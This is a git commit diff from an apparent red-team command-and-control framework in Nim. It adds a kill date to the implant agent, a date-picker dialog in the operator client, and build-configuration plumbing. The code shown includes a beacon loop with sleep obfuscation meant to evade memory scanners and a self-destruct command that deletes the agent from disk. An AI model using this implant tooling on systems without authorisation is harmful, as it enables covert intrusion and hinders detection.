Implemented agent kill date.

This commit is contained in:
Jakob Friedl
2025-10-28 21:01:10 +01:00
parent 7417cb2822
commit 7f89487fb7
12 changed files with 217 additions and 70 deletions

View File

@@ -35,6 +35,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
spoofStack: cast[bool](unpacker.getUint8())
),
killDate: cast[int64](unpacker.getUint64()),
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(unpacker.getDataWithLengthPrefix()),

View File

@@ -1,6 +1,6 @@
import strformat, os, times, system, base64, random
import core/[http, context, sleepmask]
import core/[http, context, sleepmask, exit]
import utils/io
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
@@ -13,43 +13,43 @@ proc main() =
if ctx == nil:
quit(0)
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
#[
Agent routine:
1. Sleep Obfuscation
2. Register to the team server if not already register
3. Retrieve tasks via checkin request to a GET endpoint
4. Execute task and post result
5. If additional tasks have been fetched, go to 3.
6. If no more tasks need to be executed, go to 1.
1. Check kill date
2. Sleep Obfuscation
3. Register to the team server if not already connected
4. Retrieve tasks via checkin request to a GET endpoint
5. Execute task and post result
6. If additional tasks have been fetched, go to 3.
7. If no more tasks need to be executed, go to 1.
]#
while true:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
try:
# Check kill date and exit the agent process if it is already passed
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
print "[*] Exiting."
exit()
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat()

View File

@@ -3,7 +3,7 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-d:VERBOSE="false"
-d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -3,6 +3,7 @@ switch "o", "bin/client"
switch "d", "ssl"
switch "d", "client"
switch "d", "ImGuiTextSelect"
switch "d", "ImPlotEnable"
# Select compiler
var TC = "gcc"

View File

@@ -11,6 +11,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
defer: app.destroyApp()
var imPlotContext = ImPlot_CreateContext()
defer: imPlotContext.ImPlotDestroyContext()
var
profile: Profile
views: Table[string, ptr bool]

View File

@@ -0,0 +1,118 @@
import strutils, sequtils, times
import imguin/[cimgui, glfw_opengl, simple]
import ../../utils/[appImGui, colors]
type
KillDateModalComponent* = ref object of RootObj
killDateTime: ImPlotTime
killDateLevel: cint
killDateHour: cint
killDateMinute: cint
killDateSecond: cint
proc KillDateModal*(): KillDateModalComponent =
result = new KillDateModalComponent
result.killDateLevel = 0
result.killDateTime = ImPlotTIme()
# Initialize to current date
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
let now = now()
ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
result.killDateHour = 0
result.killDateMinute = 0
result.killDateSecond = 0
proc wrapValue(value: cint, max: cint): cint =
result = value mod max
if result < 0:
result += max
proc resetModalValues*(component: KillDateModalComponent) =
component.killDateLevel = 0
component.killDateTime = ImPlotTIme()
# Initialize to current date
let now = now()
ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
component.killDateHour = 0
component.killDateMinute = 0
component.killDateSecond = 0
proc draw*(component: KillDateModalComponent): int64 =
result = 0
# Center modal
let vp = igGetMainViewport()
var center: ImVec2
ImGuiViewport_GetCenter(addr center, vp)
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
let modalWidth = max(400.0f, vp.Size.x * 0.2)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
let windowFlags = ImGuiWindowFlags_None.int32
if igBeginPopupModal("Configure Kill Date", addr show, windowFlags):
defer: igEndPopup()
let textSpacing = igGetStyle().ItemSpacing.x
var availableSize: ImVec2
# Date picker
if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil):
discard
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# Time input fields
var charSize: ImVec2
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
let charWidth = charSize.x + 10.0f
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
igInputText("##Text", dateText, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
igSameLine(0.0f, textSpacing)
igPushItemWidth(charWidth)
igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0)
igPopItemWidth()
igSameLine(0.0f, 0.0f)
igText(":")
igSameLine(0.0f, 0.0f)
igPushItemWidth(charWidth)
igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0)
igPopItemWidth()
# Wrap time values
component.killDateHour = wrapValue(component.killDateHour, 24)
component.killDateMinute = wrapValue(component.killDateMinute, 60)
component.killDateSecond = wrapValue(component.killDateSecond, 60)
igGetContentRegionAvail(addr availableSize)
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# OK and Cancel buttons
if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
component.resetModalValues()
igCloseCurrentPopup()
igSameLine(0.0f, textSpacing)
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
component.resetModalValues()
igCloseCurrentPopup()

View File

@@ -4,6 +4,7 @@ import ../../utils/[appImGui, colors]
import ../../../common/[types, profile, utils]
import ../../../modules/manager
import ../widgets/[dualListSelection, textarea]
import ./configureKillDate
export addItem
type
@@ -13,10 +14,13 @@ type
jitter: int32
sleepMask: int32
spoofStack: bool
killDateEnabled: bool
killDate: int64
verbose: bool
sleepMaskTechniques: seq[string]
moduleSelection: DualListSelectionWidget[Module]
buildLog*: TextareaWidget
killDateModal*: KillDateModalComponent
proc AgentModal*(): AgentModalComponent =
@@ -26,6 +30,8 @@ proc AgentModal*(): AgentModalComponent =
result.jitter = 15
result.sleepMask = 0
result.spoofStack = false
result.killDateEnabled = false
result.killDate = 0
result.verbose = false
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
@@ -43,6 +49,7 @@ proc AgentModal*(): AgentModalComponent =
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
result.buildLog = Textarea(showTimestamps = false)
result.killDateModal = KillDateModal()
proc resetModalValues*(component: AgentModalComponent) =
component.listener = 0
@@ -50,6 +57,8 @@ proc resetModalValues*(component: AgentModalComponent) =
component.jitter = 15
component.sleepMask = 0
component.spoofStack = false
component.killDateEnabled = false
component.killDate = 0
component.verbose = false
component.moduleSelection.reset()
component.buildLog.clear()
@@ -122,6 +131,26 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
igSeparator()
igDummy(vec2(0.0f, 10.0f))
# Kill date (checkbox & button to choose date)
igText("Kill date: ")
igSameLine(0.0f, textSpacing)
igCheckbox("##InputKillDate", addr component.killDateEnabled)
igSameLine(0.0f, textSpacing)
igBeginDisabled(not component.killDateEnabled)
igGetContentRegionAvail(addr availableSize)
igSetNextItemWidth(availableSize.x)
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)):
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
igEndDisabled()
let killDate = component.killDateModal.draw()
if killDate != 0:
component.killDate = killDate
igDummy(vec2(0.0f, 10.0f))
igSeparator()
igDummy(vec2(0.0f, 10.0f))
igText("Modules: ")
component.moduleSelection.draw()
@@ -161,6 +190,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
spoofStack: component.spoofStack
),
verbose: component.verbose,
killDate: if component.killDateEnabled: component.killDate else: 0,
modules: modules
)

View File

@@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 =
return sequenceTable[agentId]
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
# # Heartbeat messages are not used for sequence tracking
# if cast[PacketType](packetType) == MSG_HEARTBEAT:
# return true
# Heartbeat messages are not used for sequence tracking
if cast[PacketType](packetType) == MSG_HEARTBEAT:
return true
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
# if seqNr == 1'u32:
# sequenceTable[agentId] = seqNr
# return true
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
if seqNr == 1'u32:
sequenceTable[agentId] = seqNr
return true
# # Validate that the sequence number of the current packet is higher than the currently stored one
# if seqNr <= lastSeqNr:
# return false
# Validate that the sequence number of the current packet is higher than the currently stored one
if seqNr < lastSeqNr:
return false
# # Update sequence number
# sequenceTable[agentId] = seqNr
# Update sequence number
sequenceTable[agentId] = seqNr
return true
proc validatePacket*(header: Header, expectedType: uint8) =
@@ -38,5 +38,5 @@ proc validatePacket*(header: Header, expectedType: uint8) =
raise newException(CatchableError, protect("Invalid packet type."))
# Validate sequence number
if not validateSequence(header.agentId, header.seqNr, header.packetType):
raise newException(CatchableError, protect("Invalid sequence number."))
# if not validateSequence(header.agentId, header.seqNr, header.packetType):
# raise newException(CatchableError, protect("Invalid sequence number."))

View File

@@ -59,7 +59,7 @@ type
CMD_ENABLE_PRIV = 22'u16
CMD_DISABLE_PRIV = 23'u16
CMD_EXIT = 24'u16
CMD_SELF_DESTROY = 25'u16
CMD_SELF_DESTRUCT = 25'u16
StatusType* = enum
STATUS_COMPLETED = 0'u8
@@ -113,17 +113,6 @@ type
MODULE_SITUATIONAL_AWARENESS = 128'u32
MODULE_TOKEN = 256'u32
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
iterator items*(e: typedesc[ModuleType]): ModuleType =
yield MODULE_SLEEP
yield MODULE_SHELL
yield MODULE_BOF
yield MODULE_DOTNET
yield MODULE_FILESYSTEM
yield MODULE_FILETRANSFER
yield MODULE_SCREENSHOT
yield MODULE_SITUATIONAL_AWARENESS
# Encryption
type
Uuid* = uint32
@@ -333,6 +322,7 @@ type
listenerId*: string
hosts*: string
sleepSettings*: SleepSettings
killDate*: int64
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
@@ -375,6 +365,7 @@ type
listenerId*: string
sleepSettings*: SleepSettings
verbose*: bool
killDate*: int64
modules*: uint32
LootItemType* = enum

View File

@@ -17,10 +17,10 @@ let commands* = @[
execute: executeExit
),
Command(
name: protect("self-destroy"),
commandType: CMD_SELF_DESTROY,
name: protect("self-destruct"),
commandType: CMD_SELF_DESTRUCT,
description: protect("Exit the agent and delete the executable from disk."),
example: protect("self-destroy"),
example: protect("self-destruct"),
arguments: @[
],
execute: executeSelfDestroy
@@ -55,7 +55,7 @@ when defined(agent):
proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult =
try:
print " [>] Self-destroying."
print " [>] Self-destructing."
exit(EXIT_PROCESS, true)
except CatchableError as err:

View File

@@ -103,7 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] =
proc getCommands*(modules: uint32 = 0): seq[Command] =
# House-keeping
result.add(manager.commandsByType[CMD_EXIT])
result.add(manager.commandsByType[CMD_SELF_DESTROY])
result.add(manager.commandsByType[CMD_SELF_DESTRUCT])
# Modules
if modules == 0:

View File

@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
const PLACEHOLDER = "PLACEHOLDER"
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings, killDate: int64): seq[byte] =
var packer = Packer.init()
@@ -24,6 +24,9 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
packer.add(uint8(sleepSettings.sleepTechnique))
packer.add(uint8(sleepSettings.spoofStack))
# Kill date
packer.add(uint64(killDate))
# Public key for key exchange
packer.addData(cq.keyPair.publicKey)
@@ -157,7 +160,7 @@ proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): se
let listener = cq.listeners[agentBuildInformation.listenerId]
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings, agentBuildInformation.killDate)
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
if unpatchedExePath.isEmptyOrWhitespace():